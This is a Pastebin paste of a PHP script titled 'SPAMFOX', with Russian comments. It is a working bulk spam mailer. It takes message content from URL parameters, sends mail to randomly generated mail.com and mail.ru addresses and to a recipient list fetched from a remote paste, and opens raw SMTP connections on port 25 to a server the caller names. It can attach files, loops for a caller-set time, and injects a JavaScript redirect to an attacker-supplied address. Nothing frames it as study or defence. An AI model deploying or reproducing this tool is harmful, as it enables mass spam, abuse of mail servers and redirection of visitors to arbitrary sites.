Advertisement
Guest User

Untitled

a guest
May 6th, 2017
559
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.85 KB | None | 0 0
  1. <?php
  2. ini_set('display_errors', 'Off');
  3. echo '<body background="https://temporarytattoos.com/pub/media/catalog/product/cache/image/700x560/e9c3970ab036de70892d86c6d221abfe/h/i/hipster-fox-temporary-tattoo-6222.jpg"></body>';
  4. print '<!DOCTYPE html>
  5. <html><head><title></title></head><body><center><h1>SPAMFOX</h1></center>
  6. <hr align="center" width="1350" size="2" color="#A9A9A9" /><br></body></html>';
  7. $from = $_SERVER['HTTP_HOST'].'@mail.com';
  8. function generatemail($length = 19){ // Генерирование email
  9. $email = 'abdefhiknrstyzABDEFGHKNQRSTYZ234567892001ISDNDLFJLSDOJFPAKASQGM';
  10. $numChars = strlen($email);
  11. global $string;
  12. $string = '';
  13. for ($i = 0; $i < $length; $i++) {
  14. $string .= substr($email, rand(1, $numChars) - 1, 1);
  15. $string1 .= substr($email, rand(1, $numChars) - 1, 1);
  16. }
  17. $string = $string.'@mail.com';
  18. echo $string;
  19. $message = $_GET['mess'];
  20. $headers = $_GET['head'];
  21. $subject = $_GET['subj'];
  22. if (mail($string,$subject,$message,$headers,'-f'.$from)) {echo "Yes!!!<br/>";}
  23. $string1 = $string1.'@mail.ru';
  24. if (mail($string1,$subject,$message,$headers,'-f'.$from)) {echo "<br/>";}
  25. else {
  26. $connect = fsockopen($server, 25, $errno, $errstr, 30);
  27. fputs($connect, "Hi\r\n");
  28. fputs($connect, "MAIL FROM: $from\n");
  29. fputs($connect, "RCPT TO: $to\n");
  30. fputs($connect, "DATA\r\n");
  31. fputs($connect, "Content-Type: text/plain; charset=iso-8859-1\n");
  32. fputs($connect, "To: $to\n");
  33. fputs($connect, "Subject: $subject\n");
  34. fputs($connect, "\n\n");
  35. fputs($connect, stripslashes($message)." \r\n");
  36. fputs($connect, ".\r\n");
  37. fputs($connect, "RSET\r\n");
  38. }
  39. }
  40.  
  41. function spam(){
  42. // Указываем параиетры отправки
  43. $message = $_GET['mess'];
  44. $headers = $_GET['head'];
  45. $subject = $_GET['subj'];
  46. // Считываем mail адреса
  47. $text = file_get_contents('http://pastebin.com/raw/djxaViTq');
  48. $f = fopen('w.txt', 'w');
  49. fwrite($f, $text);
  50. fclose($f);
  51. $text = fopen("w.txt", "r");
  52. $array = null;
  53. if ($text) {
  54. while (($buffer = fgets($text)) !== false) {
  55. $array[] = $buffer;
  56. }
  57. }
  58. fclose($text);
  59. foreach ($array as $key) {
  60. echo $key;
  61. if(isset($_GET['file'])){$r = sendMailAttachment($key, $from, $subject, $message, $file);}
  62. mail($key,$subject,$message,$headers,'-f'.$from);
  63. }
  64. $server = $_GET['server'];
  65. $message = $_GET['mess'];
  66. $connect = fsockopen($server, 25, $errno, $errstr, 30);
  67. fputs($connect, "Hi\r\n");
  68. fputs($connect, "MAIL FROM: $from\n");
  69. fputs($connect, "RCPT TO: $to\n");
  70. fputs($connect, "DATA\r\n");
  71. fputs($connect, "Content-Type: text/plain; charset=iso-8859-1\n");
  72. fputs($connect, "To: $to\n");
  73. fputs($connect, "Subject: $subject\n");
  74. fputs($connect, "\n\n");
  75. fputs($connect, stripslashes($message)." \r\n");
  76. fputs($connect, ".\r\n");
  77. fputs($connect, "RSET\r\n");
  78. }
  79.  
  80. function sendMailAttachment($string, $from, $subject, $message, $file = false){ // С вложением (не мое)
  81. $separator = "---";
  82. $headers = "MIME-Version: 1.0\r\n";
  83. $headers .= "From: $from\nReply-To: $from\n";
  84. $headers .= "Content-Type: multipart/mixed; boundary=\"$separator\"";
  85. if($file){
  86. $bodyMail = "--$separator\n"; // начало тела письма, выводим разделитель
  87. $bodyMail .= "Content-type: text/html; charset='utf-8'\n"; // кодировка письма
  88. $bodyMail .= "Content-Transfer-Encoding: quoted-printable"; // задаем конвертацию письма
  89. $bodyMail .= "Content-Disposition: attachment; filename==?utf-8?B?".base64_encode(basename($file))."?=\n\n";
  90. $bodyMail .= $message."\n";
  91. $bodyMail .= "--$separator\n";
  92. $fileRead = fopen($file, "r"); // открываем файл
  93. $contentFile = fread($fileRead, filesize($file));
  94. fclose($fileRead);
  95. $bodyMail .= "Content-Type: application/octet-stream; name==?utf-8?B?".base64_encode(basename($file))."?=\n";
  96. $bodyMail .= "Content-Transfer-Encoding: base64\n";
  97. $bodyMail .= "Content-Disposition: attachment; filename==?utf-8?B?".base64_encode(basename($file))."?=\n\n";
  98. $bodyMail .= chunk_split(base64_encode($contentFile))."\n"; // кодируем и прикрепляем файл
  99. $bodyMail .= "--".$separator ."--\n";
  100. }else{
  101. $bodyMail = $message;
  102. }
  103. $result = mail($string, $subject, $bodyMail, $headers);
  104. return $result;
  105. }
  106.  
  107. function script(){
  108. print '<script type="text/javascript">
  109. function locs(){
  110. document.location.href="'.$_GET['address'].'";
  111. }
  112. setTimeout("locs()", 10);
  113. </script>';
  114. }
  115. $timei = time();
  116. $time = $_GET['time'];
  117. while (time() - $timei < $time) {
  118. echo generatemail(9);
  119. spam();
  120. script();
  121. }
  122. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement